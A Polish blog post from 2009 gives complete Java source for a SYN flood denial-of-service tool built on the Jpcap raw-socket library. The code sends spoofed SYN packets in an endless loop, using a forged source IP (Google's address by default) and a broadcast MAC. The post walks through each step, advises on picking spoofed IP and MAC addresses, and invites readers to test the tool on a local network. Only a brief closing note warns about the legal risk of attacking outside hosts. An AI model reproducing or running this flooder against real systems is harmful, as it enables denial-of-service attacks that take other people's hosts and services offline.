niedziela, 29 marca 2009

Java: SynFlooder

Protokoły sieciowe tworzone lata temu nie były projektowane zgodnie z zasadą ograniczonego zaufania. Przez w stosunkowo krótkim czasie udało się znaleźć ich podatności. Aktualnie najczęściej stosowany protokół sieciowy TCP wbrew pozorom posiada ich kilka.

Każda podatność oznacza atak na dany protokół. W tym poście nie będę jednak zbyt dokładnie skupiał się na mechanizmie ataku SYN, tylko postaram się opisać Exploit wykonujący ten atak napisany w języku Java.

Wiele osób uważa, że język przeze mnie użyty do takiego programowania się nie nadaje. Z pomocą przychodzi jednak google i kreatywność wielu ludzi. Z języków niższego poziomu znane jest pojęcie RAW Socket. W skrócie jest to API umożliwiające operacje bezpośrednio na pakietach i urządzeniach sieciowych. Atak z wykorzystaniem luki w protokole sieciowym wymaga niestety (i na szczęście) ingerencję w sposób komunikacji. Potrzebujemy więc zabawić się samymi pakietami.

Jak już wspomniałem inny ludzie przychodzą z pomocą. Dla Javy istnieje biblioteka dostarczająca RAW Socket'y. Jest to Jpcap. Pobrać go można stąd: jpcap download. Biblioteka wydana jest na licencji LGPL, co jest dla nas niezwykle korzystne. Dostarcza ona dla nas wszystkie niezbędne funkcje.

Skoro już mamy co trzeba i wszystko działa, to czas zabrać się do pisania kodu. Oczywiście najlepiej go zaprojektować zawczasu. Po krótce atak polega na wysyłaniu dużej liczby pakietów SYN do hosta na otwarty port, ignorując jednocześnie nadchodzące pakiety SYN/ACK. W efekcie na atakowanym hoście powstaje ogromna liczba półotwartych połączeń. W pewnym momencie może dojść do sytuacji gdy:
a) system się zawiesi,
b) system nie będzie w stanie odpowiedzieć na żadne zgłoszenie,

Atak ten jak i sama luka w implementacjach stosu TCP znana jest od lat. Ciekawe i niebezpieczne jest jednak, że domyślnie system Windows nawet w wersji XP nie jest przed nim zabezpieczony. Konieczne jest dokonanie odpowiednich wpisów w rejestrze, lub zastosowanie firewall (nie systemowego!!!). Możliwy jest atak na NetBIOS i SMB, konieczne jest odpowiednie "dopasowanie" do protokołów.

Tak więc cały program można ująć w jedną klasę Main. Dla wygody do programu dodane zostały dwie dodatkowe klasy. SigHand to handler sygnału INT, aby można było przerwać program i na zakończenie podać informacje o ataku, oraz klasa IntVal to pewien odpowiednik klasy Integer. Posiada mniej funkcji, bo nie potrzeba nam ich wiele.

Klasa SigHand:
import sun.misc.Signal;
import sun.misc.SignalHandler;

class SigHand implements SignalHandler
{
private IntVal sentp;

public SigHand(IntVal arg0)
{
this.sentp=arg0;
}

public void handle(Signal arg0)
{
String sent=Integer.toString(sentp.getVal());
System.out.println(\"Packets sent:\"+sent);
System.exit(0);
}
}

Klasa jest prosta, nie trzeba jej opisywać. Mniej spostrzegawczym powiem, że w momencie odebrania sygnału z OS program wywołuje automatycznie metodę handle(Signal arg0). Zadaniem funkcji jest wypisanie na ekran informacji o liczbie wysłanych pakietów i zakończenie aplikacji.

Klasa IntVal:
public class IntVal
{
private int val;

public IntVal()
{

val=0;
}

public IntVal(int arg0)
{
val=arg0;
}

public void setVal(int arg0)
{
val=arg0;
}

public int getVal()
{
return val;
}

public void incVal()
{
val++;
}
}

Znowu mamy do czynienia z prostą klasą. Jest to Java Bean nie dziedziczący z żadnej klasy i nie implementujący żadnego interface'u. Jedyne jego zadanie to przechowanie pojedynczej wartości typu int. Od razu widać, że nie została przygotowana dla programu wielowątkowego.

Atak SYN Flood wymaga wysłania bardzo dużej liczby pakietów. Pomimo to program wielowątkowy wcale nie spełni tutaj swego zadania. Dlaczego tak się dzieje? Procesor może wykonać w tym samym czasie wiele zadań, jednak w pewnym momencie dochodzimy do użycia karty sieciowej i w tym miejscu powracamy do wykonywania sekwencyjnego. Dla naszego programu jest to wąskie gardło. Nie jest fizycznie możliwe wysłanie kilku pakietów na raz. Przygotowanie pojedynczego pakietu trwa wystarczająco krótko, więc całość może zostać wykonana w pętli sekwencyjnie, różnica nie zostanie odczuta.

Dane potrzebne do wykonania ataku:
  • IP źródła,
  • MAC źródła,
  • IP odbiorcy,
  • MAC odbiorcy,
  • otwarty port,
Lista wynika oczywiście z budowy pakietu TCP/IP i Ethernet. Można jednak pozwolić sobie na pewne odstępstwa od tego. Szczególnie jeśli atakowany przez nas host nie znajduje się w naszej sieci lokalnej.

IP może nie być naszym adresem. Najlepiej jednak, aby był zgodny z adresem źródłowym MAC. MAC źródłowy w przypadku użycia adresu IP zewnętrznego powinien być adresem bramy domyślnej (dla hosta w naszej sieci) i naszym adresem dla hosta spoza sieci. Oczywiście można użyć innego i mieć nadzieję, że się uda. IP odbiorcy musi być prawidłowe. Tego się nie przeskoczy. Port może być teoretycznie dowolny, praktycznie warto wybrać program, który z chęcią przyjmuje połączenia z zewnątrz, jak na przykład komunikator. MAC odbiorcy zostawiłem na koniec nie bez powodu. Jeśli odbiorca jest poza naszą siecią podajemy adres bramy domyślnej (swojej), jeśli jest w naszej sieci podajemy dokładny adres odbiorcy. Oba te przypadki można obejść podając adres rozgłoszeniowy, który składa się z samych 1. Heksadecymalnie ma postać: FF:FF:FF:FF:FF:FF.

Klasa Main:
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;

import sun.misc.Signal;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.TCPPacket;


public class Main
{
public static String usage=\"synflood dest_IP dest_port [-opt]\\n\\n\" +

\"\\t-s\\t source IP\\n\" +
\"\\t-m\\t source MAC\\n\" +
\"\\t-M\\t destination MAC\\n\" +
\"\\t-v\\t verbose (more informations)\";

public static final Long sent=new Long(0);

public static void main(String[] args)
{
boolean wsrcIP=false;
boolean wsrcMAC=false;
boolean wdstMAC=false;

boolean verb=false;
boolean err=false;
IntVal sentp=new IntVal(0);
char op=\'0\';
String sIP=\"\";
String sMAC=\"\";

String dMAC=\"\";
JpcapSender sender=null;
jpcap.NetworkInterface[] devices = JpcapCaptor.getDeviceList();
if(args.length<2)
{
System.out.println(usage);
}
else
{

for(int i=0;i<args.length;i++)
{
if(args[i].charAt(0)==\'-\')
{
op=args[i].charAt(1);
switch (op)
{
case \'s\':
wsrcIP=true;

sIP=args[++i];
if(!sIP.matches(\"(^|[^.0-9])((25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])\\\\.){3}(25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])([^.0-9]|$)\")) err=true;
break;
case \'m\':
wsrcMAC=true;
sMAC=args[++i];
if(sMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;

case \'M\':
wdstMAC=true;
dMAC=args[++i];
if(dMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;
case \'v\':
verb=true;
break;

}
}
}
if(err) System.exit(-1);
if (verb) Signal.handle(new Signal(\"INT\"),new SigHand(sentp));
String dstadr=args[0];
int dprt=Integer.parseInt(args[1]);
InetAddress srcIP=null;

try {
if(wsrcIP)
{
srcIP=InetAddress.getByName(sIP);
}
else
{
srcIP=InetAddress.getByName(\"www.google.com\");
}
} catch (UnknownHostException e1) {}

if(!wsrcIP) sIP=srcIP.getHostAddress();
if(!wsrcMAC) sMAC=\"00:0f:ea:8a:2d:19\";
if(!wdstMAC) dMAC=\"FF:FF:FF:FF:FF:FF\";
if(verb)
{
System.out.println(\"\\n source MAC:\\t\\t\" + sMAC + \"\\n\" +

\" destination MAC:\\t\" + dMAC + \"\\n\" +
\" source IP:\\t\\t\" + sIP + \"\\n\" +

\" destination IP:\\t\" + dstadr + \"\\n\" +
\" destination port:\\t\" + dprt + \"\\n\");

}
while(true)
{
try {
sender = JpcapSender.openDevice(devices[0]);
} catch (IOException e) {}

//create a TCP packet with specified port numbers, flags, and other parameters

int sprt=(int)(Math.random()*64511)+1024;

TCPPacket p=new TCPPacket(sprt,dprt,52,0,false,false,false,false,true,false,false,false,65535,0);

//specify IPv4 header parameters
try {
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
srcIP,InetAddress.getByName(dstadr));
} catch (UnknownHostException e) {}


//set the data field of the packet
p.data=(\"\").getBytes();

//create an Ethernet packet (frame)
EthernetPacket ether=new EthernetPacket();

//set frame type as IP
ether.frametype=EthernetPacket.ETHERTYPE_IP;
//set source and destination MAC addresses
String[] mac=sMAC.split(\":\");
ether.src_mac=new byte[6];

for(int i=0;i<6;i++) ether.src_mac[i]=(byte)Integer.parseInt(mac[i],16);
mac=dMAC.split(\":\");
ether.dst_mac=new byte[6];
for(int i=0;i<6;i++) ether.dst_mac[i]=(byte)Integer.parseInt(mac[i],16);

//set the datalink frame of the packet p as ether

p.datalink=ether;

//send the packet p
sender.sendPacket(p);

sender.close();
sentp.incVal();
try {
Thread.sleep(1);
} catch (InterruptedException e) {}
}

}
}
}

Pozornie kod może wydawać się skomplikowany. Jest jednak na tyle prosty, że byłem w stanie napisać go samodzielnie ;).

Najlepiej zacząć od początku, tak więc:
1. Sprawdzamy opcje z jakimi uruchomiony został program:
if(args.length<2)
{
System.out.println(usage);
}
else
{
for(int i=0;i<args.length;i++)
{
if(args[i].charAt(0)==\'-\')

{
op=args[i].charAt(1);
switch (op)
{
case \'s\':
wsrcIP=true;
sIP=args[++i];
if(!sIP.matches(\"(^|[^.0-9])((25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])\\\\.){3}(25[0-5]|2[0-4][0-9]|1?[0-9]?[0-9])([^.0-9]|$)\")) err=true;
break;
case \'m\':

wsrcMAC=true;
sMAC=args[++i];
if(sMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;
break;
case \'M\':
wdstMAC=true;
dMAC=args[++i];
if(dMAC.matches(\"/^([0-9a-f]{1,2}([:-]|$)){6}$/i\")) err=true;

break;
case \'v\':
verb=true;
break;
}
}
}
if(err) System.exit(-1);
}


Przy okazji sprawdzamy, czy adresy IP i MAC są poprawne. Do tego celu na Stringach używamy RegExp'a. Nie będę tych wyrażeń tłumaczył, bo to oddzielny temat. Wyrażenia do takich zastosowań można gotowe znaleźć w sieci w ramach przykładów. Ważne jest, że jeśli podane dane są niepoprawne, to ustawiony jest błąd, skutkujący później zakończeniem programu z kodem -1.

2. Jeśli użyto opcji v, rejestrujemy handler sygnału:
if (verb) Signal.handle(new Signal("INT"),new SigHand(sentp));


3. Ustawiamy dane do ataku:
String dstadr=args[0];
int dprt=Integer.parseInt(args[1]);
InetAddress srcIP=null;
try {
if(wsrcIP)
{
srcIP=InetAddress.getByName(sIP);
}
else
{
srcIP=InetAddress.getByName(\"www.google.com\");
}
} catch (UnknownHostException e1) {}
if(!wsrcIP) sIP=srcIP.getHostAddress();
if(!wsrcMAC) sMAC=\"00:0f:ea:8a:2d:19\";
if(!wdstMAC) dMAC=\"FF:FF:FF:FF:FF:FF\";
if(verb)
{
System.out.println(\"\\n source MAC:\\t\\t\" + sMAC + \"\\n\" +

\" destination MAC:\\t\" + dMAC + \"\\n\" +
\" source IP:\\t\\t\" + sIP + \"\\n\" +

\" destination IP:\\t\" + dstadr + \"\\n\" +
\" destination port:\\t\" + dprt + \"\\n\");
}


Jeśli adres IP źródła nie został podany, pozyskujemy adres google.com i taki ustawiamy.

4. Tworzymy nowy Sender z urządzenia sieciowego pierwszego:
try {
sender = JpcapSender.openDevice(devices[0]);
} catch (IOException e) {}


5. Wyznaczamy port źródłowy:

int sprt=(int)(Math.random()*64511)+1024;

Port wyznaczamy losowo. Chyba tylko dla samej metody. Może to jednak nie działać właściwie. Atak na niektóre porty może się nie powieźć z powodu niewłaściwego portu źródłowego.

6. Tworzymy pakiet TCP:
TCPPacket p=new TCPPacket(sprt,dprt,52,0,false,false,false,false,true,false,false,false,65535,0);


7. dodajemy nagłówek IPv4:
try {
p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
srcIP,InetAddress.getByName(dstadr));
} catch (UnknownHostException e) {}


8. Tworzymy ramkę ethernetową:
//create an Ethernet packet (frame)
EthernetPacket ether=new EthernetPacket();
//set frame type as IP
ether.frametype=EthernetPacket.ETHERTYPE_IP;


9. konfigurujemy ramkę ethernetową:
//set source and destination MAC addresses
String[] mac=sMAC.split(\":\");
ether.src_mac=new byte[6];
for(int i=0;i<6;i++) ether.src_mac[i]=(byte)Integer.parseInt(mac[i],16);
mac=dMAC.split(\":\");
ether.dst_mac=new byte[6];
for(int i=0;i<6;i++) ether.dst_mac[i]=(byte)Integer.parseInt(mac[i],16);


10. Dodajemy ramkę ethernet do pakietu i wysyłamy go po sieci:
//set the datalink frame of the packet p as ether
p.datalink=ether;

//send the packet p
sender.sendPacket(p);

Proponuję każdemu potestować ten atak na sieci lokalnej i poobserwować ruch na sieci. Najlepiej użyć do tego dobrego sniffera takiego jak Wireshark (dawniej Ethereal). Można pobrać go z oficjalnej strony producenta. To darmowe narzędzie zostało użyte do przeprowadzenia testów podczas pisania tego posta.



Atak z konsoli w windows:

Log z Wireshark:

Analizę tego obrazka pozostawiam zainteresowanym.

Testowanie exploita na komputerach spoza sieci lokalnej może zostać uznane za atak. Należy pamiętać, że atak SYN Flood jest bardzo łatwy do wykrycia, a za jego użycie może grozić "odsiadka"!

Grafika pochodzi z wikipedia: Syn Flood

2 komentarze:

  1. Minąłeś się z powołaniem! Zostań grafikiem :D Zrób nową paczkę emotów do gmail'a i zgarnij miliony :D

    OdpowiedzUsuń
  2. Nie kuś, bo jeszcze to zrobię i zgarnę te miliony :P.

    OdpowiedzUsuń